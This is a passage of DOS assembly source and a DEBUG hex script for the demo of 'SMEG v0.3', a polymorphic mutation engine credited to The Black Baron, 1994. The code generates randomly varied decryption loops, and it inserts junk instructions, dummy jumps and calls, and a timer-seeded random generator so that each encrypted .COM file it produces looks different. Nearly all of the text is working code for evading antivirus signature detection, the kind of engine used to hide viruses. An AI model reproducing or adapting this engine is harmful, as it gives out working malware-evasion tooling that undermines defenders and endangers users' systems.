; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; XOR reg2,reg0 (F)
|
||
; beginning of loop (0)
|
||
; NEG [reg7+offset] (A)
|
||
; MOV reg2,[reg7+offset] (5)
|
||
; XOR reg2,reg0 (F)
|
||
; DEC reg1 (D)
|
||
; DEC reg0 (03)
|
||
; DEC reg0 (03)
|
||
; XCHG reg2,reg0 (0C)
|
||
; XCHG reg0,[reg7+offset] (01)
|
||
; XCHG reg2,reg0 (0C)
|
||
; ADD reg7,1 (04)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
db 43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1
|
||
|
||
routineB: db 66
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg0,CS (1)
|
||
; MOV reg1,initial counter (4)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; XOR reg2,reg0 (F)
|
||
; beginning of loop (0)
|
||
; PUSH reg0 (0A)
|
||
; PUSH [reg7+offset] (08)
|
||
; MOV reg2,reg1 (8)
|
||
; MOV reg2,reg1 (8)
|
||
; XCHG reg2,reg0 (0C)
|
||
; INC reg0 (02)
|
||
; INC reg0 (02)
|
||
; INC reg0 (02)
|
||
; INC reg0 (02)
|
||
; MOV reg1,reg0 (0E)
|
||
; POP reg0 (0B)
|
||
; XCHG reg2,reg0 (0C)
|
||
; POP reg0 (0B)
|
||
; ADD reg2,reg0 (06)
|
||
; PUSH reg0 (0A)
|
||
; XCHG reg2,reg0 (0C)
|
||
; PUSH reg0 (0A)
|
||
; POP [reg7+offset] (09)
|
||
; POP reg0 (0B)
|
||
; DEC reg0 (03)
|
||
; INC reg7 (C)
|
||
; XOR reg2,reg0 (F)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
db 31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0
|
||
db 60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1
|
||
|
||
routine3: db 4
|
||
; MOV reg0,CS (1)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; MOV reg2,reg1 (8)
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg7,initial pointer (3)
|
||
; beginning of loop (0)
|
||
; MOV reg2,reg1 (8)
|
||
; DEC reg1 (D)
|
||
; INC reg2 (0D)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg1,reg0 (0E)
|
||
; XCHG reg2,reg0 (0C)
|
||
; XOR [reg7],reg0 (9)
|
||
; INC reg7 (C)
|
||
; INC reg0 (02)
|
||
; INC reg0 (02)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
db 12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20
|
||
db 0F0,-1
|
||
|
||
routineD: db 73
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg0,CS (1)
|
||
; MOV reg1,initial counter (4)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; MOV reg1,initial counter (4)
|
||
; beginning of loop (0)
|
||
; DEC reg1 (D)
|
||
; DEC reg1 (D)
|
||
; DEC reg1 (D)
|
||
; NOT [reg7+offset] (B)
|
||
; PUSH reg0 (0A)
|
||
; PUSH [reg7+offset] (08)
|
||
; POP reg0 (0B)
|
||
; XCHG reg2,reg0 (0C)
|
||
; POP reg0 (0B)
|
||
; XOR reg2,reg0 (F)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; INC reg0 (02)
|
||
; ADD reg7,1 (04)
|
||
; INC reg0 (02)
|
||
; SUB reg1,1 (05)
|
||
; done (-1)
|
||
db 31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20
|
||
db 50,-1
|
||
|
||
routine0: db 20
|
||
; MOV reg0,encryption value (E)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg0,CS (1)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg1,initial counter (4)
|
||
; beginning of loop (0)
|
||
; XCHG reg0,[reg7+offset] (01)
|
||
; XCHG reg2,reg0 (0C)
|
||
; XOR reg2,reg0 (F)
|
||
; DEC reg1 (D)
|
||
; XCHG reg2,reg0 (0C)
|
||
; XCHG reg0,[reg7+offset] (01)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg2,reg1 (8)
|
||
; INC reg7 (C)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; INC reg0 (02)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg1,reg0 (0E)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
; return code 0 (0)
|
||
db 0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0
|
||
db 20,0C0,0E0,0F0,-1,0
|
||
|
||
routine6: db 55
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg0,CS (1)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; MOV reg7,initial pointer (3)
|
||
; beginning of loop (0)
|
||
; MOV reg2,[reg7+offset] (5)
|
||
; DEC reg1 (D)
|
||
; SUB reg2,reg0 (07)
|
||
; INC reg0 (02)
|
||
; SUB reg1,1 (05)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; INC reg7 (C)
|
||
; DEC reg1 (D)
|
||
; done (-1)
|
||
db 43,12,0E3,5,0D0,70,20,56,0CDh,-1
|
||
|
||
routineA: db 47
|
||
; MOV reg0,encryption value (E)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg1,initial counter (4)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg0,CS (1)
|
||
; MOV DS,reg0 (2)
|
||
; beginning of loop (0)
|
||
; PUSH [reg7+offset] (08)
|
||
; POP reg0 (0B)
|
||
; XCHG reg2,reg0 (0C)
|
||
; XOR reg2,reg0 (F)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; MOV reg2,reg1 (8)
|
||
; DEC reg1 (D)
|
||
; DEC reg0 (03)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg1,reg0 (0E)
|
||
; ADD reg7,1 (04)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
; return code 0 (0)
|
||
db 0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0
|
||
db 0E0,40,0F0,-1,0
|
||
|
||
crypt_table dw offset crypt0
|
||
dw offset crypt1
|
||
dw offset crypt2
|
||
dw offset crypt3
|
||
dw offset crypt4
|
||
dw offset crypt5
|
||
dw offset crypt6
|
||
dw offset crypt7
|
||
|
||
jmp_table dw offset jmp0
|
||
dw offset jmp1
|
||
dw offset jmp2
|
||
dw offset jmp3
|
||
|
||
routine_table: dw offset routine0
|
||
dw offset routine1
|
||
dw offset routine2
|
||
dw offset routine3
|
||
dw offset routine4
|
||
dw offset routine5
|
||
dw offset routine6
|
||
dw offset routine7
|
||
dw offset routine8
|
||
dw offset routine9
|
||
dw offset routineA
|
||
dw offset routineB
|
||
dw offset routineC
|
||
dw offset routineD
|
||
dw offset routineE
|
||
dw offset routineF
|
||
|
||
encrypt: cld
|
||
push bx si
|
||
mov bl,[bp.crypt_type] ; get encryption type
|
||
db 83,0E3,0F ; and bx,0F
|
||
add bx,bx
|
||
add bx,offset crypt_table ; convert to offset
|
||
mov di,[bp.targetptr] ; set up loop
|
||
mov si,[bp.sourceptr]
|
||
mov cx,[bp.datasize]
|
||
mov dl,[bp.cryptval]
|
||
encrypt_byte: lodsb
|
||
call word ptr [bx]
|
||
stosb
|
||
loop encrypt_byte
|
||
pop si bx
|
||
retn
|
||
|
||
crypt0: xor al,dl
|
||
inc dl
|
||
retn
|
||
|
||
crypt2: xor dl,al
|
||
mov al,dl
|
||
dec dl
|
||
retn
|
||
|
||
crypt3: not al
|
||
crypt4: xor al,dl
|
||
inc dl
|
||
inc dl
|
||
retn
|
||
|
||
crypt1: xor al,dl
|
||
neg al
|
||
dec dl
|
||
dec dl
|
||
retn
|
||
|
||
crypt5: add al,dl
|
||
inc dl
|
||
retn
|
||
|
||
crypt6: sub al,dl
|
||
dec dl
|
||
retn
|
||
|
||
crypt7: xor al,dl
|
||
dec dl
|
||
retn
|
||
|
||
counterinit0: neg ax
|
||
counterinit1: retn
|
||
|
||
counterinit2: neg ax
|
||
counterinit3: add ax,ax
|
||
retn
|
||
|
||
counterinit4: neg ax
|
||
counterinit5: mov cx,ax
|
||
add ax,ax
|
||
add ax,cx
|
||
retn
|
||
|
||
counterinit6: neg ax
|
||
counterinit7: add ax,ax
|
||
add ax,ax
|
||
retn
|
||
|
||
jmp0: mov al,0E9 ; encode a JMP
|
||
stosb ; (with word offset)
|
||
mov ax,di ; calculate offset to
|
||
sub ax,[bp.loop_top] ; top of decryption loop
|
||
inc ax ; adjust for jmp instruction
|
||
inc ax
|
||
neg ax ; adjust for going back instead
|
||
retn ; of forwards
|
||
|
||
jmp1: mov ax,0E0FF ; encode JMP register
|
||
or ah,[si]
|
||
retn
|
||
|
||
jmp2: mov ax,0C350 ; encode PUSH/RETn
|
||
jmpXdone: or al,[si]
|
||
retn
|
||
|
||
jmp3: mov al,0E ; encode PUSH CS
|
||
stosb
|
||
call garble_some ; garble a bit
|
||
mov ax,0CB50 ; encode PUSH reg/RETN
|
||
jmp short jmpXdone
|
||
|
||
encode_routine: call rnd_get ; pick a random routine
|
||
mov bx,offset routine_table ; to use
|
||
and ax,0F
|
||
add ax,ax
|
||
add bx,ax
|
||
mov si,[bx]
|
||
lodsb ; get the first byte
|
||
mov [bp.crypt_type],al ; and save it
|
||
jmp short encode_routine2 ; keep going...
|
||
|
||
encode_it: lodsb ; get the next byte
|
||
cmp ah,-1 ; are we done?
|
||
je use_as_is ; if so, exit
|
||
xor bh,bh ; convert AL to
|
||
add al,al ; offset in encode_table
|
||
mov bl,al
|
||
add bx,offset encode_table
|
||
mov al,dh
|
||
mov cx,3
|
||
call word ptr [bx] ; call the routine
|
||
xchg ah,al
|
||
stosb ; write the resulting byte
|
||
use_as_is: retn
|
||
|
||
fill_mod_field: ror al,cl
|
||
fill_field: and al,7 ; get the register # al
|
||
mov bx,bp
|
||
db 83,0C3,06 ; add bx,6
|
||
xlat
|
||
rol al,cl
|
||
and cl,cl ; encoding rm or reg?
|
||
jnz not_memory ; branch if doing rm
|
||
test dh,40 ; memory access?
|
||
jz not_memory
|
||
cmp al,3 ; using bx?
|
||
jne not_BX
|
||
mov al,7 ; change it to di
|
||
jmp short not_memory
|
||
not_BX: cmp al,6 ; is it si?
|
||
jb not_memory
|
||
sub al,2 ; change it to double register
|
||
not_memory: or ah,al
|
||
retn
|
||
|
||
fill_reg_reg1: ror al,cl ; [reg], reg
|
||
fill_reg_field: xor cl,cl ; fill bottom 3 bits only
|
||
jmp short fill_field
|
||
|
||
fill_mod_n_reg: call fill_mod_field ; fill mod field as usual
|
||
mov al,dh ; fill reg field with the
|
||
jmp short fill_reg_field ; register that holds the
|
||
; data to be decrypted
|
||
fill_reg_reg2: call fill_field
|
||
mov al,dh
|
||
jmp short fill_reg_reg1
|
||
|
||
encode_routine2:mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
|
||
process_all: lodsb ; get a byte
|
||
cmp al,-1 ; are we at the end?
|
||
jne process_byte ; no, keep going
|
||
lodsb ; else get returncode and exit
|
||
retn
|
||
|
||
process_byte: push si ax
|
||
mov cl,4
|
||
call process_nibble
|
||
xor cl,cl
|
||
pop ax
|
||
call process_nibble
|
||
pop si
|
||
jmp short process_all
|
||
|
||
process_nibble: ror al,cl ; only use the part of
|
||
and ax,0F ; the byte that we want
|
||
jnz no_switch_table
|
||
and cl,cl ; if the lower half of byte=0,
|
||
jz switch_tables ; switch tables
|
||
mov [bp.loop_top],di ; otherwise save this location
|
||
retn ; as the top of the loop
|
||
|
||
switch_tables: mov word ptr [bp.which_tbl],offset encode_tbl2 - 6
|
||
retn
|
||
|
||
no_switch_table:push ax
|
||
call garble_more
|
||
pop ax
|
||
add ax,ax ; calculate AX*6+[bp.which_tbl]
|
||
mov bx,ax
|
||
add ax,ax
|
||
add ax,bx
|
||
add ax,[bp.which_tbl]
|
||
mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
|
||
xchg si,ax
|
||
lodsb
|
||
mov dh,al ; dh holds first byte
|
||
lodsb
|
||
xchg ah,al ; ah holds second byte
|
||
call encode_it ; process it
|
||
lodsb ; now ah holds the next byte
|
||
xchg ah,al
|
||
call encode_it ; process it
|
||
|
||
lodsb ; get the next byte
|
||
mov dl,al ; it tells us which
|
||
and ax,0F ; value to write in
|
||
add ax,ax ; this is the modifier
|
||
add ax,offset write_table ; i.e. pointer, encryption
|
||
xchg bx,ax ; value, etc.
|
||
jmp word ptr [bx]
|
||
|
||
write_nothing: retn
|
||
|
||
write_cryptval: mov al,[bp.cryptval]
|
||
stosb
|
||
retn
|
||
|
||
write_pointer_patch: ; save location of pointer initialisation
|
||
mov [bp.pointer_patch],di
|
||
stosw
|
||
retn
|
||
|
||
write_counter_patch: ; save location of counter initialisation
|
||
mov [bp.counter_patch],di
|
||
stosw
|
||
retn
|
||
|
||
write_ptr_offset: ; write XXXX of [bx+XXXX]
|
||
mov ax,[bp.ptr_offsets]
|
||
mov [bp.pointer_fixup],ax
|
||
stosw
|
||
retn
|
||
|
||
write_dl: mov al,dl ; write lower half of top
|
||
mov cl,4 ; byte of dl as a word
|
||
shr al,cl ; used as amount to increment
|
||
and ax,0F
|
||
stosw
|
||
retn
|
||
|
||
garble_some: push si
|
||
mov dx,3 ; garble 2-5 times
|
||
call multiple_garble
|
||
pop si
|
||
retn
|
||
|
||
garble_more: mov dx,7
|
||
multiple_garble:call rnd_get
|
||
and ax,dx
|
||
inc ax
|
||
inc ax
|
||
xchg cx,ax
|
||
garble_again: push cx ; save garble count
|
||
call garble_once ; garble
|
||
pop cx ; restore garble count
|
||
loop garble_again
|
||
|
||
cmp [bp.cJMP_patch],cx ; cJMP_patch == 0? i.e. is
|
||
je skip_finish_cJMP ; there an unfinished cJMP?
|
||
call finish_cJMP ; if so, finish it
|
||
skip_finish_cJMP:call many_nonbranch_garble ; garble garble
|
||
mov bx,[bp.nJMP_patch] ; check if pending nJMP
|
||
and bx,bx
|
||
jnz loc_0047 ; if so, keep going
|
||
retn
|
||
loc_0047: ; xref 4028:0996
|
||
mov al,0C3 ; encode a RETN
|
||
stosb
|
||
mov ax,di
|
||
sub ax,bx
|
||
dec ax
|
||
dec ax
|
||
mov [bx],ax
|
||
mov [bp.CALL_patch],bx
|
||
mov word ptr [bp.nJMP_patch],0
|
||
|
||
many_nonbranch_garble:
|
||
call rnd_get ; do large instruction
|
||
and ax,3 ; garble from 3 to 6 times
|
||
add al,3
|
||
xchg cx,ax
|
||
many_nonbranch_garble_loop:
|
||
push cx
|
||
call not_branch_garble
|
||
pop cx
|
||
loop many_nonbranch_garble_loop
|
||
|
||
retn
|
||
|
||
; finish_cJMP simply encodes a few instructions between the conditional
|
||
; jmp and its target, and then sets the destination of the jmp to be after
|
||
; the inserted instructions.
|
||
finish_cJMP: mov ax,di ; get current location
|
||
mov bx,[bp.cJMP_patch] ; get previous location
|
||
sub ax,bx
|
||
dec al ; calculate offset
|
||
jnz go_patch_cJMP ; if nothing in between,
|
||
call not_branch_garble ; fill in some instructions
|
||
jmp short finish_cJMP ; and do this again
|
||
go_patch_cJMP: cmp ax,7F ; are we close enough?
|
||
jbe patch_cJMP ; if so, finish this now
|
||
xor al,al ; if not, encode cJMP $+2
|
||
patch_cJMP: mov [bx],al ; patch the cJMP destination
|
||
mov word ptr [bp.cJMP_patch],0 ; clear usage flag
|
||
retn
|
||
|
||
set_reg_mask: and cl,0F8 ; clear bottom 3 bits
|
||
mov bx,bp
|
||
db 83,0C3,6 ; add bx,6
|
||
mov dh,7 ; assume one of 8 registers
|
||
test dl,4 ; can we use any register?
|
||
jnz set_reg_mask_exit ; if so, quit
|
||
db 83,0C3,3 ; add bx,3 ; otherwise, set mask so we
|
||
mov dh,3 ; only choose from regs 3-6
|
||
set_reg_mask_exit:
|
||
retn
|
||
|
||
choose_register:call rnd_get ; get random number
|
||
xor ah,ah ; clear high byte
|
||
and al,dh ; use mask from set_reg_mask
|
||
add bx,ax
|
||
mov al,[bx] ; get the register number
|
||
test ch,1 ; byte or word register?
|
||
jnz choose_reg_done ; if word, we are okay
|
||
test byte ptr [si-2],4 ; otherwise, check if we can
|
||
jnz choose_reg_done ; take only half the register
|
||
mov ah,al ; uh oh, we can't, so...
|
||
and al,3 ; is it one of the garbage
|
||
cmp al,[bp+9] ; registers?
|
||
mov al,ah ; if so, we are done
|
||
jz choose_reg_done
|
||
mov al,[bp+9]
|
||
cmp al,4 ; ax,cx,dx, or bx?
|
||
jb werd ; to yer muthah!
|
||
pop ax ; pop off return location
|
||
retn ; go to caller's caller
|
||
|
||
werd: and ah,4 ; make either byte or word
|
||
or al,ah ; register
|
||
choose_reg_done:retn
|
||
|
||
garble_once: call rnd_get
|
||
cmp ah,0C8 ; randomly go to either
|
||
jbe other_garble ; here ...
|
||
jmp branch_garble ; ... or here
|
||
|
||
not_branch_garble:
|
||
call rnd_get
|
||
other_garble: cmp al,0F0
|
||
jbe larger_instr ; mostly do larger instructions
|
||
jmp do_one_byte ; 1/16 chance
|
||
|
||
larger_instr: and ax,1F ; normalise random number
|
||
cmp al,[bp.lastgarble] ; is it the same as before?
|
||
je not_branch_garble ; then try again, since we
|
||
; don't want two of the same
|
||
; sort in a row
|
||
mov [bp.lastgarble],al ; else remember this one
|
||
add ax,ax ; and process it
|
||
add ax,offset garble_table
|
||
xchg si,ax
|
||
lodsw ; get table entry
|
||
xchg cx,ax ; keep it in CX
|
||
mov dl,cl ; pick out the bottom
|
||
and dl,3 ; mask out low 2 bits
|
||
call rnd_get
|
||
and al,3 ; this line unnecessary
|
||
and al,dl ; patch it into the top
|
||
or ch,al ; byte for variable opcodes
|
||
; (e.g. allows byte & word
|
||
; forms of opcode to use the
|
||
; same table entry)
|
||
mov dl,cl
|
||
and dl,0C0 ; mask out mod field
|
||
cmp dl,0C0 ; does it indicate register
|
||
mov dl,cl ; operation? i.e. 2 regs
|
||
jz no_memory ; if so, branch
|
||
call set_reg_mask ; otherwise, process memory
|
||
call rnd_get ; and register operation
|
||
and al,0C0 ; clear all but top 2 bits
|
||
or cl,al ; fill in the field
|
||
rol al,1
|
||
rol al,1
|
||
mov dl,al
|
||
call rnd_get ; generate the registers to use
|
||
and al,7 ; in memory access,i.e. [bx+si]
|
||
or cl,al ; patch into 2nd byte of instr
|
||
cmp dl,3
|
||
je fill_in_rm
|
||
cmp al,6
|
||
jne force_byte
|
||
mov dl,2 ; alter mask to choose AX or DX
|
||
and cl,3F
|
||
jmp short fill_in_rm
|
||
|
||
force_byte: and ch,not 1 ; change to byte data
|
||
; "byte sized"
|
||
fill_in_rm: call choose_register ; move register into
|
||
shl al,1 ; the rm field
|
||
shl al,1
|
||
shl al,1
|
||
finish_larger: or cl,al ; combine data
|
||
xchg cx,ax ; move it to the right register
|
||
xchg ah,al ; reverse byte order
|
||
stosw ; write the instruction
|
||
and dl,dl ; needs data bytes?
|
||
jnz needs_data
|
||
retn
|
||
|
||
needs_data: cmp dl,3 ; check length of instruction
|
||
jne do_data_bytes
|
||
retn
|
||
|
||
do_data_bytes: call rnd_get ; keep the random number
|
||
and al,3F ; under 40h
|
||
stosb ; write the byte
|
||
dec dl ; decrement bytes to write
|
||
jnz do_data_bytes
|
||
retn
|
||
|
||
no_memory: call set_reg_mask
|
||
call choose_register
|
||
mov ah,ch ; get the opcode and clear the
|
||
and ah,0FE ; size bit for now
|
||
cmp ah,0F6
|
||
jne not_NOT_NEG
|
||
test cl,10 ; is it TEST instruction?
|
||
jz not_NOT_NEG ; if it is, go find the number
|
||
; of data bytes it needs, else
|
||
; it is NOT or NEG, so there're
|
||
no_data_bytes: xor dl,dl ; no data bytes
|
||
jmp short finish_larger
|
||
|
||
not_NOT_NEG: and ah,0FC ; is it a shift or rotate?
|
||
cmp ah,0D0
|
||
jne set_data_length ; if not, calculate # data
|
||
; bytes needed, else
|
||
jmp short no_data_bytes ; we don't need any
|
||
|
||
set_data_length:test ch,1 ; byte or word of data?
|
||
mov dl,2 ; assume word
|
||
jnz finish_larger ; continue if so
|
||
dec dl ; DEC DX is better!!!
|
||
jmp short finish_larger ; otherwise adjust to data
|
||
|
||
do_one_byte: and al,7
|
||
mov bx,offset onebyte_table
|
||
xlat
|
||
cmp al,48 ; DEC?
|
||
je inc_or_dec
|
||
cmp al,40 ; or INC?
|
||
jne encode_1byte
|
||
inc_or_dec: mov cl,al
|
||
call rnd_get ; get a garbage register
|
||
and al,3
|
||
mov bx,bp ; can we say "lea", boys and
|
||
db 83,0C3,9 ; add bx,9 ; girls?
|
||
xlat ; look up the register
|
||
or al,cl ; fill in the register field
|
||
encode_1byte: stosb
|
||
retn
|
||
|
||
branch_garble: cmp word ptr [bp.cJMP_patch],0 ; is there an unfinished
|
||
je no_pending_cJMP ; conditional jmp?
|
||
jmp finish_cJMP ; if so, finish it
|
||
|
||
no_pending_cJMP:call rnd_get
|
||
cmp ah,6E
|
||
ja do_near_JMP
|
||
do_cond_jmp: and al,0F ; encode a conditional
|
||
or al,70 ; jmp
|
||
stosb
|
||
mov [bp.cJMP_patch],di ; save target offset
|
||
stosb
|
||
retn
|
||
|
||
do_near_JMP: cmp word ptr [bp.nJMP_patch],0 ; is there an unfinished
|
||
jne do_cond_jmp ; near JMP pending?
|
||
call rnd_get ; if not, encode one
|
||
cmp al,78 ; either just jmp past
|
||
jbe encode_CALL ; or call it too
|
||
mov al,0E9 ; encode near JMP
|
||
stosb
|
||
mov [bp.nJMP_patch],di ; save location to patch
|
||
stosw
|
||
call rnd_get
|
||
cmp al,0AA
|
||
jbe forward_CALL
|
||
go_not_branch_garble:
|
||
jmp not_branch_garble
|
||
|
||
forward_CALL: cmp word ptr [bp.last_CALL],0 ; is there a garbage CALL
|
||
je go_not_branch_garble ; we can patch?
|
||
push di ; if there is, patch the CALL
|
||
xchg di,ax ; for here so there are CALLs
|
||
dec ax ; forwards as well as back-
|
||
dec ax ; wards
|
||
mov di,[bp.last_CALL]
|
||
sub ax,di
|
||
stosw
|
||
pop di
|
||
jmp not_branch_garble
|
||
|
||
encode_CALL: cmp word ptr [bp.CALL_patch],0 ; is there one pending?
|
||
je do_cond_jmp
|
||
mov al,0E8 ; encode a CALL
|
||
stosb
|
||
cmp word ptr [bp.last_CALL],0
|
||
je store_CALL_loc
|
||
call rnd_get ; 1/2 chance of replacing
|
||
and al,7 ; it (random so it's not
|
||
cmp al,4 ; too predictable)
|
||
jae fill_in_offset
|
||
store_CALL_loc: mov [bp.last_CALL],di ; save ptr to CALL offset
|
||
fill_in_offset: mov ax,di ; calculate CALL offset
|
||
sub ax,[bp.CALL_patch]
|
||
neg ax
|
||
stosw
|
||
retn
|
||
|
||
rnd_init: mov ah,2C ; get time
|
||
int 21
|
||
|
||
mov ax,3E1
|
||
mul dx
|
||
add ax,cx
|
||
xchg cx,ax
|
||
in ax,40 ; timer port
|
||
add ax,cx
|
||
mov [bp.rng_buffer],ax
|
||
retn
|
||
|
||
|
||
rnd_get: push bx cx dx
|
||
mov ax,[bp.rng_buffer]
|
||
mov cx,3E1
|
||
mul cx
|
||
mov cx,ax
|
||
xor dx,dx
|
||
mov bx,35
|
||
div bx
|
||
add dx,cx
|
||
js no_fix_seed1
|
||
in ax,40 ; port 40, 8253 timer 0 clock
|
||
add dx,ax
|
||
no_fix_seed1: cmp dx,[bp.rng_buffer]
|
||
jne no_fix_seed2
|
||
neg dx
|
||
in ax,40 ; port 40, 8253 timer 0 clock
|
||
xor dx,ax
|
||
no_fix_seed2: mov [bp.rng_buffer],dx
|
||
xchg dx,ax
|
||
pop dx cx bx
|
||
retn
|
||
heap:
|
||
|
||
data_area db 02dh dup (?)
|
||
target_area:
|
||
|
||
end SMEG_demo
|
||
-------------------------------
|
||
N SMEGdemo.com
|
||
E 0100 E9 C5 01 30 30 30 30 2E 43 4F 4D 00 53 4D 45 47
|
||
E 0110 20 76 30 2E 33 2E 20 20 47 65 6E 65 72 61 74 69
|
||
E 0120 6F 6E 20 44 69 66 66 65 72 65 6E 63 65 20 44 65
|
||
E 0130 6D 6F 6E 73 74 72 61 74 69 6F 6E 0D 0A 09 20 20
|
||
E 0140 20 28 43 29 20 54 68 65 20 42 6C 61 63 6B 20 42
|
||
E 0150 61 72 6F 6E 20 31 39 39 34 0D 0A 0A 0A 53 45 4C
|
||
E 0160 45 43 54 20 54 48 45 20 4E 55 4D 42 45 52 20 4F
|
||
E 0170 46 20 47 45 4E 45 52 41 54 49 4F 4E 53 3A 0D 0A
|
||
E 0180 0A 31 20 20 2D 2D 20 20 31 30 20 20 20 20 20 47
|
||
E 0190 65 6E 65 72 61 74 69 6F 6E 73 0D 0A 32 20 20 2D
|
||
E 01A0 2D 20 20 31 30 30 20 20 20 20 20 20 20 20 22 22
|
||
E 01B0 0D 0A 33 20 20 2D 2D 20 20 31 30 30 30 20 20 20
|
||
E 01C0 20 20 20 20 22 22 0D 0A 34 20 20 2D 2D 20 20 31
|
||
E 01D0 30 30 30 30 20 20 20 20 20 20 22 22 20 20 20 20
|
||
E 01E0 20 20 20 20 28 4C 61 72 67 65 20 48 44 60 73 20
|
||
E 01F0 4F 6E 6C 79 21 21 29 24 20 31 30 20 24 20 31 30
|
||
E 0200 30 20 24 20 31 30 30 30 20 24 20 31 30 30 30 30
|
||
E 0210 20 24 0D 0A 0A 0A 47 65 6E 65 72 61 74 69 6E 67
|
||
E 0220 24 45 78 65 63 75 74 61 62 6C 65 20 2E 43 4F 4D
|
||
E 0230 20 47 65 6E 65 72 61 74 69 6F 6E 73 2C 20 50 6C
|
||
E 0240 65 61 73 65 20 57 61 69 74 2E 2E 2E 24 0D 0A 0A
|
||
E 0250 44 4F 4E 45 21 20 20 4E 6F 77 20 65 78 61 6D 69
|
||
E 0260 6E 65 20 65 61 63 68 2C 20 61 6E 64 20 6E 6F 74
|
||
E 0270 65 20 68 6F 77 20 64 69 66 66 65 72 65 6E 74 20
|
||
E 0280 74 68 65 79 20 61 72 65 21 0D 0A 0A 07 24 0D 0A
|
||
E 0290 0A 53 4F 52 52 59 21 20 20 41 20 64 69 73 6B 20
|
||
E 02A0 65 72 72 6F 72 20 68 61 73 20 6F 63 63 75 72 72
|
||
E 02B0 65 64 21 0D 0A 0A 07 24 0A 00 F8 01 64 00 FD 01
|
||
E 02C0 E8 03 03 02 10 27 0A 02 B8 03 00 CD 10 BA 0C 01
|
||
E 02D0 B4 09 CD 21 B8 07 0C CD 21 3C 31 72 F7 3C 34 77
|
||
E 02E0 F3 2C 31 32 E4 03 C0 03 C0 05 B8 02 93 53 BA 12
|
||
E 02F0 02 B4 09 CD 21 5B 8B 0F 51 8B 57 02 CD 21 BA 21
|
||
E 0300 02 CD 21 59 51 BD B3 0B BF E0 0B BA 89 03 B9 4A
|
||
E 0310 00 B8 00 01 E8 BC 00 B4 5B BA 03 01 33 C9 CD 21
|
||
E 0320 73 09 E8 5C 00 59 B8 FF 4C CD 21 93 B4 40 8B 4E
|
||
E 0330 27 BA E0 0B CD 21 73 09 E8 46 00 B4 3E CD 21 EB
|
||
E 0340 E4 E8 A9 04 B4 40 8B 4E 00 BA E0 0B CD 21 72 E8
|
||
E 0350 E8 FA 01 B4 40 CD 21 72 DF B4 3E CD 21 72 C3 BB
|
||
E 0360 06 01 B9 04 00 FE 07 80 3F 3A 72 06 80 2F 0A 4B
|
||
E 0370 E2 F3 59 E2 8F BA 4D 02 B4 09 CD 21 B8 00 4C CD
|
||
E 0380 21 BA 8E 02 B4 09 CD 21 C3 E8 3D 00 0D 0A 54 68
|
||
E 0390 69 73 20 77 61 73 20 64 65 63 72 79 70 74 65 64
|
||
E 03A0 20 77 69 74 68 20 61 20 53 4D 45 47 20 76 30 2E
|
||
E 03B0 33 20 67 65 6E 65 72 61 74 65 64 20 64 65 63 72
|
||
E 03C0 79 70 74 6F 72 21 0D 0A 24 5A B4 09 CD 21 B8 00
|
||
E 03D0 4C CD 21 89 4E 00 89 56 02 89 7E 04 53 56 8B DD
|
||
E 03E0 83 C3 06 B9 2D 00 53 88 2F 43 E2 FB 89 46 1C E8
|
||
E 03F0 7E 07 BB 6A 05 E8 8C 07 24 1F D7 5B B9 04 00 32
|
||
E 0400 D2 D0 D0 D0 D2 D0 D0 D0 D2 88 17 43 E2 F1 C6 07
|
||
E 0410 05 43 43 E8 6E 07 D0 C0 24 01 04 06 88 07 34 01
|
||
E 0420 80 7F FD 03 75 05 88 47 FD B0 03 88 47 01 8A 47
|
||
E 0430 FD 88 47 FF E8 4D 07 32 C4 74 F9 88 46 10 E8 43
|
||
E 0440 07 0C 01 89 46 11 E8 27 07 25 FF 03 05 80 00 89
|
||
E 0450 46 25 33 C0 04 53 4D 45 47 04 AE FC 2B F8 E8 23
|
||
E 0460 07 25 03 00 04 03 91 51 E8 09 05 E8 16 07 3C 8C
|
||
E 0470 76 11 25 03 00 05 D2 05 96 B4 B4 AC 86 E0 AB B8
|
||
E 0480 CD 21 AB 59 E2 E1 B0 E8 AA 57 AB E8 E6 04 B0 E9
|
||
E 0490 AA 5B 57 AB 57 58 48 48 2B C3 89 07 E8 D5 04 B0
|
||
